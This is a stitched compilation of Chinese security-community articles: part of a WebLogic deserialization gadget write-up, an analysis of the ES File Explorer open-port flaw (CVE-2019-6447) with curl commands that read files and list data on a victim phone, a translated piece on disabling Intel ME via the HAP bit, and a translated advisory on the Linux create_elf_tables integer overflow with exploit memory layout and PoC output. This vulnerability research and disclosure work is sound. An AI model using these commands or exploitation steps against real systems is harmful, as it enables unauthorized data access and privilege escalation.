因为this.__m_ConverterFromInternal为transient在反序列的时候为空，根据代码逻辑反序列化的时候会创一个新的converter，并调用convert方法转换受控的oVal的对象。
我们继续跟进，看一下converter是什么样子的, converter类型固定ReplicatedCache$ConverterFromInternal。
ReplicatedCache$ConverterFromInternal的convert。
是不是很眼熟？没错，[是我去年挖weblogic的时候找到的sink点](https://xz.aliyun.com/t/9068), 二阶反序列化类型。
## 补全gadget
那么现在需要从source点找一条通路，放入常见的source点自动化跑，无奈工具太菜，大海捞针。捞到一个，应该还有其他的，我没一个一个看了。
接下来再用BadAttributeValueExpException前半段就完全走通了。
## 构造exp与javaassit的妙用
路径找到了接着，就是填充一些必要的条件，构造payload了。
构造的时候会发现对com.tangosol.coherence.component.util.daemon.queueProcessor.Service有依赖。这个类是实现了Serializable接口的，但是官方的本意是不想让它被序列化的，
不过在反序列化的时候，并没有做对应的检查。所以我们用javaassit强行把这个方法改成$1.defaultWriteObject();
类似的，javaassit的妙用还可以减轻构造payload时候的痛苦，我们可以审计一部分代码，用javaassit把没用的逻辑阉割掉。
例如KeyBackingMap构造方法中
context.getCacheService().getInfo().getServiceName(),
一波连环夺命call要正常运行需要各种补全条件，一波操作就为了拿一个没什么卵用的字符串。
## 山穷水尽疑无路
至此一切都在向好的方向发展，首先我用没打补丁weblogic走了一波t3，一发入魂，稳稳的。打上最新补丁后走t3没成功，看报错想起了是去年oracle给t3加了一个ABBREV_CLASSES白名单。
但是没有关系，我们还可以用iiop重拳出击。长久以来我一直觉得t3和iiop是等价的东西，exp走t3成功，那走iiop也可成功，因此一直觉得官方单独给t3加白的操作不多余但没必要。
直到打完发现没成功，这下有点傻眼了。
看起来iiop和t3在反序列化的时候还是有不同。根据调用栈和调试可以定位到出错registerMessageType中的getMessageClassMap。
看到这里你可能充满疑惑
* 反序列化不是可以控制任意成员变量（不严谨）吗？提前给__m_MessageClassMap设置好，不就可以规避空指针的问题？
* 为什么t3的时候没有遇到这个问题？
这里限于篇幅，我就直接说我调试的结论了。
关于第一个问题，确实可以控制，但是这里涉及反序列化时序的问题，就算设置了__m_MessageClassMap，逻辑走到这一步的时候成员变量还没有被赋值。
关于第二个问题，是因为走iiop时，反序列化Component时registerVaildation调用抛出异常了，进入了t3情况下不会进入的validateObject。
而出现异常的原因是也就是depth为0。
通常情况下depth会随着反序列化时的深度动态变化，因此我猜开发的本意是禁止Component成为最外层的对象。
但是IIOP因为自身实现的原因，进入了readObjectOverride，从始至终都没有进入readObject0。也就说整个过程depth一直为0。
至此情况变得很难受。t3白名单打不了，iiop因为这个gadget依赖了特殊的类也打不了。功败垂成，我当时觉得非常可惜。又折腾一会找不到替代类就放弃了。
## 柳岸花明又一村
大约过了三周之后，我又想起了这个洞，突然eureka。既然正常流能打iiop不能打，那能不能把iiop“转换”成正常流然后再打呢？
其实通过查看[历史漏洞](http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/)可以知道CVE-2016-3510就可以做到这一点。
至此，全链路已经打通。
## 为什么失败
交给官方之后被驳回了，后来发现测试的时候少了一个补丁。
打补丁前：
打补丁后：
这里this.setFilter默认为true，也就说从2021的某一次补丁之后fromBinary这个点加了黑名单已经打不了。
## 后记
虽然根据CVE-2016-3510，iiop和t3在漏洞利用上已经完全等价了。t3白不白已经不重要了，但t3白名单真的无法绕过吗？其实是可以的，但是这里空白太小写不下…… | 社区文章 |
**Author: 0x7F@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/831/>**
### 0x00 Preface
ES File Explorer is a file manager application on Android, which supports
functions such as skimming through and managing files. It has over 100 million
installations, and is the most popular file manager application on Android.
In Jan. 2019, a security researcher released a security vulnerability in ES
File Explorer (CVE-2019-6447).
Late in February, I read some articles related to this vulnerability and
decided to learn reverse engineering on Android application, and I made a
recurrence analysis of this vulnerability. Relating it to published analyses,
I found its principle quite easy. So let's find out.
### 0x01 Vulnerability overview
The ES file browser creates an HTTP service bound to port 59777 at runtime,
which provides 10+ commands for accessing data in user's cell phone and
executing the application; however, the service does not check this request.
Test, resulting in a security breach.
**Influence Spectrum** :
ES File Explorer v4.1.9.7.4
**Repairing Methods** :
Download the newest version on application mall. Version repairs this
vulnerability is v4.1.9.7.4
**Vulnerability Recurrence Environment** :
* Windows 7
* OPPO R7
* ES File Explorer v4.1.9.4
* ADB (Android Debug Bridge)
### 0x02 Vulnerability Recurrence
1. Connect a mobile phone with a computer, and turn on USB debugging.
2. Check device connectivity via ADB, and install the ES file browser v4.1.9.4 onto the device.
3. On the mobile phone, you can see that the ES file browser has been successfully installed. Start the application. By viewing the current network port status through ADB, you can see that the port 59777 is open.
4. Configure the phone and computer to the same WIFI to conduct access tests.
5. Constructs an HTTP data packet, encapsulates the command into Json data, and requests for port 59777. Here, the getDeviceInfo command is displayed, and you can see that the device information was successfully returned.
### 0x03 Vulnerability analysis
**Decompile dex file**
Analyze the ES file browser v4.1.9.4. First extract the APK, you can see that
it contains three `*.dex` files. Decompile these three files with dex2jar tool
to get three `*.jar` files.
Use the jd-gui tool to load these three `jar` files. Search `59777`,
`command`, `getDeviceInfo` with keywords to quickly locate the logic
vulnerability part, which is located at `classes2-dex2jar.jar` under path
`com.estrongs.android.f.a`.
**Commands ES HTTP Supports**
In the figure above, you can see that in addition to the `getDeviceInfo`
command, the HTTP service supports a lot of other commands:
command | description
---|---
listFiles | List all files
listPics | List all pictures
listVideos | List all videos
listAudios | List all audios
listApps | List applications installed
listAppsSystem | List system apps
listAppsPhone | List communication related applications
listAppsSdcard | List the apps installed on the sd card
listAppsAll | List all applications
getAppThumbnail | List icons for the specified application
appLaunch | Start the developed application
appPull | Download an application from your device
getDeviceInfo | Get system information
In addition to the commands listed above, you can also directly access the
`url + system file path` to access the file data:
curl --header "Content-Type: application/json" http://192.168.0.105:59777/etc/wifi_mos.sh
Command execution example (listing all files):
curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listFiles\"}" http://192.168.0.105:59777
**Command processing**
The command processing is roughly to perform the corresponding logic
processing, encapsulate the result of the execution into Json data format,
splice these Json data and return them as HTTP protocols. The following is the
logic processing of `getDeviceInfo`:
As can be seen from the above function, the HTTP service is a built-in
function of the ES file browser, which is used probably for sharing between
different devices, but the security problem arises because the request is not
verified.
### 0x04 Patch Analysis
Download the patched version v4.1.9.9.3, unpack the APK, decompile it into a
`*.jar` file with dex2jar, and analyze the file.
**POST request verification**
The v4.1.9.9.3 version may have been obfuscated, and its decompiled
organization is very different from v4.1.9.4; we still use keyword search to
quickly locate the previous logic vulnerability. It is located under the
`es.qg` path under `classes3-dex2jar.jar`.
As you can see from the above figure, the label is the patch added by the new
version. When the request is to be processed, it will be checked first, and if
the check fails, a 400 error is returned.
If we look into the `ap.d()` function, we will see two key functions:
1.Function 1
This function gets the `UIModeManager` object. When the type of the object is
equal to `4`, it returns `true`. By consulting the official document, the
value corresponding to the value 4 is `UI_MODE_TYPE_TELEVISION`, which is the
type of Android TV. This mean the official limited this feature to Android TV
devices.
2.Function 2
Function 2 still checks whether it is Android TV. In the previous step,
Function 1 gets the size of the screen and converted it into a value, and in
Function 2 the value had to be greater than 20 to return `true`.
#### The Android TV will be threatened?
Based on the above patch, it seems that Android TV is threatened by this
vulnerability, but it is not. Because the process flow of Android TV is
different from the mobile version, it will not be affected by this
vulnerability.
Install the vulnerable version (v4.1.9.4) on Android TV; we can see that
launching a request under Android TV will directly return a `500` error.
The reason is that when the program judges whether the device is a TV, it will
first perform a source IP check in advance (to determine whether it is a
locally initiated request, and return a `500` error even though the check
fails), and then check the accessible path using functions following
(`Classes3-dex2jar.jar/es.qj$a`):
But after testing, I found that the value of the array is `NULL`, and the
function directly returned `false`.
Eventually the program jumped to this statement and it return a `500` error.
So Android TV will not be affected by this vulnerability.
**Get Request Column Directory Repair**
It is also mentioned above that sending a `GET` request can list files, and
the new version has also been fixed.
When the request is initiated in `GET` mode, it will enter the `ai.bK()`
function. In this function, HTTP can return to file list only if it started
with `http://127.0.0.1`. But all HTTP protocols start with `GET/POST/...` and
they certainly do not start with that. Although I did not quite understand
this check, it solved the problem of listing directories.
### 0x05 Summary
Through the above analysis, we can get the whole picture of how the ES file
browser security vulnerability is triggered and its patches. The main reason
was that the developer ignored the check of the request when designing the
shared access function, resulting in security vulnerabilities.
### References:
* Github: <https://github.com/fs0c131y/ESFileExplorerOpenPortVuln>
* Twitter: <https://twitter.com/fs0c131y/status/1085460755313508352>
* techcrunch: <https://techcrunch.com/2019/01/16/android-app-es-file-explorer-expose-data/>
* Freebuf: <https://www.freebuf.com/vuls/195069.html>
* smwenku: <https://www.smwenku.com/a/5c45ee68bd9eee35b21ef1db/zh-cn>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 【技术分享】如何通过未公开模式禁用Intel ME 11
|
##### 译文声明
本文是翻译文章，文章来源：blog.ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2017/08/disabling-intel-me.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
Positive Technologies研究团队对 **英特尔管理引擎** （Intel Management Engine，Intel
ME）11的内部构造深入研究后，找到了在硬件初始化及主处理器启动后禁用Intel
ME的一种方法。在本文中，我们会介绍发现这个未公开模式的详细过程，也会介绍这一模式与美国政府的 **高保证平台** （High Assurance
Platform，HAP）之间的具体关系。
免责声明：本文介绍的方法存在一定的风险，可能会损坏或损毁你的计算机。我们对用户的任何实验行为不承担任何责任，也不保证整个过程能顺利完成。如果有人了解相关风险后想继续实验，建议在
**SPI** （Serial Peripheral Interface，串行外设接口）编程器的帮助下进行。
**
**
**二、简介**
Intel ME是一项专有技术，由集成在平台控制单元（Platform Controller
Hub，PCH）中的一个微控制器以及一组内置的外部设备所组成。PCH承担了处理器与外部设备之间的绝大部分通信，因此，Intel
ME可以访问计算机上的几乎所有数据。如果攻击者可以在Intel ME上执行第三方代码，他就能完全控制整个平台。世界各地的研究人员对Intel
ME的内部构造越来越感兴趣，其中一个原因在于这个子系统已经迁移到了新的硬件（x86）以及软件（操作系统为修改版的MINIX）平台上。在x86平台上，研究者可以使用得心应手的二进制代码分析工具。在此之前，对相关固件的分析非常困难，因为早期版本的ME使用了ARCompact微控制器，指令集完全不同。
不幸的是，之前我们无法分析Intel ME
11，因为其中的可执行模块经过霍夫曼（Huffman）编码的压缩，使用了未知的压缩表。尽管如此，我们的研究团队（Dmitry Sklyarov、Mark
Ermolov以及Maxim
Goryachy三名成员）还是成功恢复了这些压缩表，开发了一个工具来解压镜像。大家可以在[GitHub](https://github.com/ptresearch/unME11)上下载这个工具。
解压可执行模块之后，我们继续研究Intel
ME的内部软件及硬件结构。我们的团队一直在这方面开展研究，也累积了大量研究成果，这些成果将于未来逐步公开。本文也是分析Intel
ME内部构造及禁用ME核心功能系列文章的第一篇文章。一直以来，研究人员致力于找到禁用该功能的具体方法，以减轻Intel
ME中的任何零日漏洞可能带来的数据泄露风险。
**
**
**三、如何禁用ME**
某些x86计算机用户曾经问过这样一个问题：如何禁用Intel ME？包括[Positive
Technologies专家](https://hardenedlinux.github.io/firmware/2016/11/17/neutralize_ME_firmware_on_sandybridge_and_ivybridge.html)在内的许多人已经多次提出过这个问题。基于Intel
ME的[英特尔主动管理技术（Intel Active Management
Technology，AMT）](https://nvd.nist.gov/vuln/detail/CVE-2017-5689)最近出现了一个严重漏洞（评分为9.8/10），随着这个漏洞的披露，找到这个问题的答案也愈加紧迫。
令人失望的是，在现代计算机上，我们无法完全禁用ME。原因主要是因为这项技术负责初始化、管理电源以及启动主处理器。另一个复杂原因在于，某些数据被集成在PCH芯片内部，而PCH正是现代主板上的南桥。某些爱好者尝试在维持计算机可操作性的前提下，移除了ME镜像中的所有“冗余”部分，实现对ME的禁用，这也是之前采用的主要方法。但这种方法没有那么简单，因为如果内置的PCH代码没有在闪存中找到ME模块，或者检测到相关模块处于损坏状态，那么系统将无法启动。
经过多年的研发，[me_cleaner](https://github.com/corna/me_cleaner)项目已经开发了一个实用工具，可以删掉ME镜像中的大部分组件，只保留对主系统来说至关重要的组件。但这样处理后，即使系统成功启动，留给我们的时间也非常短，大约30秒之后系统就可能会自动关机。原因在于，一旦出现故障，ME就会进入恢复模式（Recovery
Mode），在这个模式下，系统只能运行一段时间。这样一来，“瘦身”过程就会变得非常复杂。比如，在早期版本的Intel
ME中，我们可以将镜像大小缩小到90KB，但Intel ME 11的镜像只能缩小到650KB。
**四、隐藏在QResource中的秘密**
Intel允许主板厂商设置少量ME参数。Intel为硬件厂商提供了特殊的软件来实现这一点，这些软件包括用于配置ME参数的闪存镜像工具（Flash Image
Tool，FIT），以及通过内置的SPI控制器来直接对闪存进行编程的闪存编程工具（Flash Programming
Tool，FPT）。这些程序并没有提供给最终用户，但我们很容易就能在网上找到这些工具的下载地址。
我们可以从这些工具中提取出大量XML文件（详细过程请点击[此链接](https://www.troopers.de/downloads/troopers17/TR17_ME11_Static.pdf)）。这些文件包含许多有趣的信息，包括ME固件的结构、PCH
strap的描述以及集成在PCH芯片中的各种子系统的特殊配置信息。其中名为“reserve_hap”的某个字段引起了我们的注意，因为这个字段后紧跟着一行注释：“启用高保证平台（HAP）”。
使用Google搜索后，我们很快就找到了一些信息。根据搜索结果，该字段与美国国家安全局（NSA）的可信平台计划（trusted platform
program）有关。关于这个计划，大家可以访问[此链接](http://fm.csl.sri.com/LAW/2009/dobry-law09-HAP-Challenges.pdf)了解详细信息。首先，我们第一反应是设置一下这个比特位，看设置完毕后会发生什么情况。只要掌握SPI编程器或者可以访问闪存描述符（Flash
Descriptor），我们就可以设置这个比特（许多主板通常没有正确设置对闪存区域的访问权限）。
平台加载后，MEInfo工具报告了一个非常奇怪的状态：“Alt Disable
Mode.（Alt禁用模式）”。经过快速检查，我们发现ME没有响应命令，也没有对操作系统发出的请求做出反应。我们决定找出系统进入这个模式的原因，以及当前这种情况的具体意义。当时，我们已经分析了BUP模块的主要部分，这个模块用于平台的初始化，也用于设置MEInfo所显示的状态。为了了解BUP的工作机制，我们需要详细介绍一下Intel
ME软件环境的具体信息。
**
**
**五、Intel ME 11架构概览**
从PCH 100系列开始，Intel完全重新设计了PCH芯片。嵌入式微控制器的架构由ARC的ARCompact切换到x86架构。Intel选择Minute
IA（MIA）32位微控制器作为基础单元，该微控制器在Intel Edison微机以及SoC Quark上使用，结合使用了Intel
486微处理器以及奔腾处理器的一组指令集（ISA）。然而，对于PCH来说，Intel使用22纳米半导体技术制造了核心组件，使得微控制器具备更高的能效。在新的PCH中有三个这样的核心组件：管理引擎（ME）、集成传感器中心（Integrated
Sensors Hub，ISH）以及创新引擎（Innovation
Engine，IE）。后两者可根据PCH模型以及目标平台启用或者禁用，而ME核心始终处于启用状态。
这种大范围的修改同样涉及到ME软件的修改。具体说来，MINIX被选择作为基础操作系统（之前使用的是ThreadX
RTOS）。现在的ME固件包含全功能版的操作系统，包括进程、线程、内存管理、硬件总线驱动、文件系统以及其他许多组件。ME中也集成了一个硬件加密处理器，支持SHA256、AES、RSA以及HMAC。用户进程可以通过本地描述符表（local
descriptor table
，LDT）来访问硬件。进程的地址空间由LDT进行管理，该空间只是内核的全局地址空间的一部分，内核全局地址空间也由本地描述符来指定。因此，与Windows或Linux系统不同的是，内核不需要在不同进程的内存之间进行切换（修改页表目录）。
了解Intel ME软件的背景知识后，现在我们可以分析操作系统以及模块的具体加载过程。
**
**
**六、Intel ME加载过程的各个阶段**
整个加载过程从ROM程序开始，ROM程序位于内置的PCH只读存储区中。不幸的是，普通用户无法掌握读取或重写这部分存储区的方法。然而，我们可以在网上找到ME固件的预发行版，这个版本包含ROMB（ROM
BYPASS）组件，我们假定这个组件与ROM的功能有所重复。因此，检查这个固件后，我们就可能重现初始化程序的基本功能。
通过检查ROMB，我们可以确定ROM执行一系列操作的目的，这些操作包括初始化硬件（比如，初始化SPI控制器）、验证FTPR头部的数字签名、加载闪存中的RBE模块。然后，RBE会验证KERNEL、SYSLIB以及BUP模块的校验和，并将控制权交给内核入口点。
需要注意的是，ROM、RBE以及KERNEL的执行位于MIA内核的0权限（ring-0）级别下。
内核创建的第一个进程是BUP，这个进程运行在ring-3级别的自身地址空间中。内核本身并不会启动其他任何进程，这些动作由BUP来完成，还有另一个独立的模块（LOADMGR），后面我们会专门讨论。BUP（BringUP平台）的目的是初始化平台（包括处理器）的整个硬件环境，执行主电源管理功能（比如，当按下电源键时启动平台），并且启动所有其他ME进程。因此，可以肯定的是，如果缺少有效的ME固件，PCH
100以及更高版本系列物理上就无法从启动。首先，BUP会初始化电源管理控制器（PMC）以及ICC控制器。其次，BUP会根据某些字符串来启动某些进程，其中某些字符串硬编码在固件中（如SYNCMAN、PM、VFS），其他字符串包含在InitScript中（InitScript类似于autorun，保存在FTPR卷标头中，经过数字签名）。
因此，BUP会读取InitScript，启动符合ME启动类型的所有IBL进程。
如果某个进程无法启动，BUP就不会启动系统。如图9所示，LOADMGR是列表中的最后一个IBL进程。该进程会启动剩余的进程，但与BUP不同的是，如果模块启动过程中出现错误，LOADMGR会继续执行下一个模块。
这意味着给Intel
ME“瘦身”的第一种方法是删除InitScript中没有IBL标志的所有模块，这样就能显著减少固件的大小。但我们最初的任务是找到HAP模式下的ME出现了什么状况。为了找到问题的答案，我们可以看一下BUP软件模型。
**
**
**七、BringUP**
如果你仔细研究BUP模块的工作方式，你会发现BUP中实现了一个经典的有限状态机。执行过程从功能上分为两个部分：初始化阶段（有限状态机）以及在系统初始化后根据其他进程的请求来执行服务。根据平台以及SKU（TXE、CSME、SPS、消费者以及企业）的不同，初始化阶段的数量也会有所不同，但对于所有版本来说，主要的阶段都是相同的。
**7.1 阶段1**
初始化阶段会创建sfs内部诊断文件系统（SUSRAM
FS，位于非易失性存储区中的一个文件系统），读取配置信息，最关键的是，会向PMC查询哪个动作触发了启动过程：是平台插电、整个平台的重启、ME重启还是从睡眠中唤醒。这个阶段称之为启动流确定阶段。有限状态机初始化的后续阶段需要依赖这一阶段。此外，这一阶段还支持多种模式：普通模式以及一组服务模式，后一个模式中，主ME功能处于禁用状态（如HAP、HMRFPO、TEMPDISABLE、RECOVERY、SAFEMODE、FWUPDATE以及FDOVERRIDE功能）。
**7.2 阶段2**
这个阶段会初始化ICC控制器，加载ICC配置文件（负责主要消费者的时钟频率）。同时，这个阶段会初始化Boot Guard，开启处理器启动确认的轮询过程。
**7.3 阶段3**
BUP等待来自PMC的一则信息，以确认主处理器已启动。随后，BUP启动电源事件的PMC异步轮询过程（平台的重启或关闭），然后进入下一阶段。如果这类事件发生，那么BUP就会执行初始化阶段所请求的动作。
**7.4 阶段4**
这个阶段会初始化内部硬件。与此同时，BUP启动heci轮询（heci是个特殊设备，用来接收来自BIOS或操作系统的命令），查询BIOS中的DID（DRAM
Init
Done，DRAM初始化完成）信息。这个消息可以让ME确定主BIOS是否已完成RAM的初始化并为ME保留一个特殊的区域（UMA），之后会进入下一个阶段。
**7.5 阶段5**
一旦收到DID消息，根据具体的模式不同（这个模式由多种因素决定），BUP会（以正常模式）启动InitScript中的IBL进程，或者会在循环中挂起，只有收到来自PMC的消息（例如收到重启或关闭系统的请求）才会退出循环。
正是在这个阶段，我们找到了HAP处理过程。在这个模式中，BUP会挂起，不会执行InitScript。这意味着正常模式中的后续动作与HAP没有关系，因此也不需要去考虑。我们需要重点关注的是，在HAP模式下，BUP会初始化整个平台（ICC、Boot
Gurad），但不会启动主ME进程。
**
**
**八、设置HAP比特**
根据前面的分析，我们可以找到第二种方法来禁用Intel ME：
1、设置HAP比特。
2、在FTPR的CPD区中，删除或破坏除BUP启动需要用到的模块之外的其他所有模块，BUP启动需要用到如下模块：
**RBE**
**KERNEL**
**SYSLIB**
**dBUP**
3、修复CPD头部的校验值（可访问[此链接](https://www.troopers.de/downloads/troopers17/TR17_ME11_Static.pdf)了解ME固件结构的详细信息）。
那么，我们如何设置HAP比特？我们可以使用FIT配置文件，确定镜像中该比特的具体位置，但还有另一种更为简单的方法。在FIT的ME内核区中，我们可以找到一个保留参数。这个比特可以启动HAP模式。
**
**
**九、HAP以及Boot Guard**
此外，我们还在BUP中找到某些代码，当HAP模式处于启用状态时，这些代码会在Boot
Guard策略中设置一个额外的比特。不幸的是，我们还没有找到这个比特所控制的具体对象。
**
**
**十、me_cleaner中对ME 11的支持**
当我们在准备这篇文章时，me_cleaner开发者更新了他们的程序。现在，这个程序也可以删除镜像中除RBE、KERNEL、SYSLIB以及BUP之外的所有模块，但没有设置HAP比特，这样就会迫使ME进入TemporaryDisable（临时禁用）模式。我们很好奇这种做法会导致什么情况出现。
我们发现删除分区以及ME文件系统后，会导致cfgrules文件读取过程中出现错误。这个文件包含许多不同的系统设置。正如我们猜测的那样，这些系统设置中包含一个名为“bupnottemporarydisable”的标志。如果没有设置这个标志，整个子系统就会切换到TemporaryDisable模式，此外，由于这个标志为初始化为0的全局变量，因此读取错误会被当成已断开的配置请求错误。
此外，我们还检查了服务器版以及移动版的ME固件（SPS 4.x以及TXE
3.x）。在服务器版本中，这个标志总是设为1；在移动版本中，这个标志会被忽略。这意味着这种方法在服务器版以及移动版（Apollo
Lake）的ME中无法奏效。
**
**
**十一、尾声**
在本文中，我们找到了一个未公开的PCH strap，可以切换到一种特殊的模式，在早期阶段就能禁用Intel
ME的主要功能。之所以能得出这个结论，主要依据有三点：
1、依据对Intel ME固件的二进制分析过程，如前文所述。
2、如果我们移除某些关键的ME模块并启动HAP模式，Intel ME并不会崩溃。这足以证明HAP在早期阶段就禁用了ME。
3、我们非常肯定Intel ME无法退出这个模式，因为我们没有在RBE、KERNEL以及SYSLIB模块中找到能够执行此操作的相关代码。
同样，我们可以确定的是，集成到PCH中的ROM实际上与ROMB相同，ROMB中也没有包含退出HAP模式的任何代码。
因此，HAP可以防护除RBE、KERNEL、SYSLIB、ROM以及BUP模块之外的所有模块中可能存在的漏洞。然而，不幸的是这个模式无法防止攻击者利用早期阶段中存在的错误。
Intel表示他们已得知我们的研究细节。从他们的回应中，证实了我们对HAP程序未公开模式的猜想。在Intel的许可下，我们摘抄了部分回应内容，如下所示：
“致Mark/Maxim：
为了响应具有特殊要求的客户请求，我们有时候会修改或禁用某些功能。在这种情况下，我们会根据设备制造商的要求进行修改，以响应客户对美国政府的“高保证平台”计划的支持。这些修改的验证周期较为有限，并不是官方支持的配置。”
我们可以肯定的是，这种机制旨在满足政府机构的典型需求，以减少侧信道数据泄露的风险。但主要的问题仍然没有得到解决：那就是HAP如何影响Boot
Guard？由于HAP是一项封闭性技术，我们无法回答这个问题，但我们希望不久的将来这个问题能够得到解答。 | 社区文章 |
# Linux create_elf_tables函数整数溢出漏洞（CVE-2018-14634）的分析与利用
|
##### 译文声明
本文是翻译文章，文章来源：seclists.org
原文地址：<https://seclists.org/oss-sec/2018/q3/274>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
我们在Linux内核create_elf_tables()函数中发现了一个整数溢出漏洞。因此，本地攻击者可以借助SUID-root二进制文件在64位系统上进行漏洞利用，从而获得完整Root权限。
该漏洞在Commit b6a2fea39318（2007年7月19日提交，增加可变长度参数支持）中存在，从Commit
da029c11e6b1（2017年7月7日提交，将arg栈限制为_STK_LIM的75以下）版本开始修复。
后续的大多数Linux发行版本都将da029c11e6b1改动加入了内核之中，然而Red Hat Enterprise
Linux、CentOS以及Debian 8（稳定版）都没有将其更新到发行版本中，因此上述系统仍然存在这一漏洞，并且是实际可以利用的。
## 漏洞分析
150 #define STACK_ROUND(sp, items)
151 (((unsigned long) (sp - items)) &~ 15UL)
...
165 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
...
169 int argc = bprm->argc;
170 int envc = bprm->envc;
171 elf_addr_t __user *sp;
...
178 int items;
...
190 p = arch_align_stack(p);
...
287 items = (argc + 1) + (envc + 1) + 1;
288 bprm->p = STACK_ROUND(sp, items);
...
295 sp = (elf_addr_t __user *)bprm->p;
其中，参数“argc”表示传递给execve()系统调用的命令行参数的数量，该参数受限于MAX_ARG_STRINGS（位于fs/exec.c中）。参数“envc”表示传递给execve()的环境变量的数量，同样受限于MAX_ARG_STRINGS。但是，由于MAX_ARG_STRINGS是0x7FFFFFFF，因此我们可以使items（位于第287行）整数溢出，并使其为负数。
这样一来，我们就可以增加userland栈指针，而不是减少其数量（在第288行和第295行，在x86_64上），从而将userland重定向到我们的参数和环境字符串（已经复制到fs/exec.c栈顶）的中间。最终，在用户域执行SUID-root二进制文件时，就将覆盖这些字符。
## 漏洞利用
我们使用execve()执行一个SUID-root二进制文件，其中包含0x80000000的“items”（也就是INT_MIN
“items”）。0x80000000 _sizeof(char_ ) =
16GB参数指针、16GB参数字符串和16GB环境字符串。我们在实现漏洞利用时，实际上只需要2 _16=32GB的内存，而不需要3_
16或者更多。原因在于，我们使用了一些技巧，来减少其内存占用。举例来说，我们将近16GB的相等自变量指针（Equal Argument
Pointer）替换为等效的文件支持的映射，几乎不会消耗任何内存。
下图展示了当SUID-root二进制文件开始执行时，ld.so中用户空间栈的结构：
| argument strings | environment strings |
--|---|--------|---------+---------|---------+---------+---------+---------|-- | A | sprand | protect | padding | protect | scratch | onebyte | padding |
--|---|--------|---------+---------|---------+---------+------^--+---------|-- | 0-8192 ~16GB 1MB rsp ~16GB
v <-------+---|----------|
| stack | B | pointers |
-------------->-------------->-------------->--------------/ 16GB
0x80000000 * sizeof(elf_addr_t) = 16GB
其中：
“A”（“alpha”）是由create_elf_tables()（位于190-287行）分配的栈空间数量，大约512字节。
“sprand”是由create_elf_tables()（位于190行）分配的随机栈空间数量，从0字节到8192字节不等。
“protect”参数字符串是重要命令行参数和选项（例如：argv[0]、SUID-rood二进制文件的文件名），这里的内容必须要防止发生内存损坏。
“padding”参数字符串占用大约16GB的栈空间。
“protect”环境字符串是重要的环境变量（例如：LD_PRELOAD环境变量，它由ld.so的handle_ld_preload()函数处理），同样需要防止内存损坏的发生。
“scratch”环境字符串是用于执行SUID-root二进制文件的1MB安全栈空间。“items”的整数溢出会将userland栈指针“rsp”重定向到我们的参数和环境字符串的中间（也就是偏移量为0x80000000
* sizeof(elf_addr_t) = 16GB的位置）。更准确的说，其实是“onebyte”环境字符串的中间位置。
“onebyte”环境字符串是256KB单字节（空）环境变量，将会被ld.so的handle_ld_preload()函数中4KB
fname[]缓冲区部分覆盖。
“padding”环境字符串占用大约16GB的栈空间。
在“items”发生整数溢出以及用户空间栈指针“rsp”发生重定向之后，16GB的参数和环境指针“pointers”（即argv[]
和envp[]数组）被create_elf_tables()写入到“padding”环境字符串上。
“B”（“beta”）是在调用handle_ld_preload()之前由ld.so分配的栈空间数量，它大约为9KB，并且是在“onebyte”环境字符串的中间分配。
因此，ld.so会使用handle_ld_preload()中fname[]缓冲区，对
“onebyte”环境变量中的部分内容进行覆盖（也就是重写）。我们可以通过LD_PRELOAD环境变量来控制fname[]缓冲区中的内容。这样一来，process_envvars()中的过滤UNSECURE_ENVVARS（包括LD_AUDIT、LD_LIBRARY_PATH、LD_PRELOAD等等)就无效了。在实际漏洞利用过程中，不包含ld.so中的UNSECURE_ENVVARS过滤，留给感兴趣的读者练习。
在我们的PoC中，利用了create_elf_tables()的整数溢出，从而导致ld.so中缺少UNSECURE_ENVVARS过滤。正常情况下，LD_LIBRARY_PATH应该被ld.so从环境变量中删除，而在漏洞利用过程中却没有。PoC在这种情况下，执行SUID-root二进制文件（poc-suidbin.c）的main()。具体的演示如下：
# gcc -O0 -o poc-suidbin poc-suidbin.c
# chown root poc-suidbin
# chmod 4555 poc-suidbin
$ gcc -o poc-exploit poc-exploit.c
$ time ./poc-exploit
...
ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded:
ignored.
ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
ERROR: ld.so: object 'LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
argc 2147090419
stack 0x7ffbe115008f < 0x7ffbe1150188 < 0x7fffe0e50128 < 0x7ff7e11503ea < 0x7ffbe102cdea
getenv 0x7ffbe114d83b .
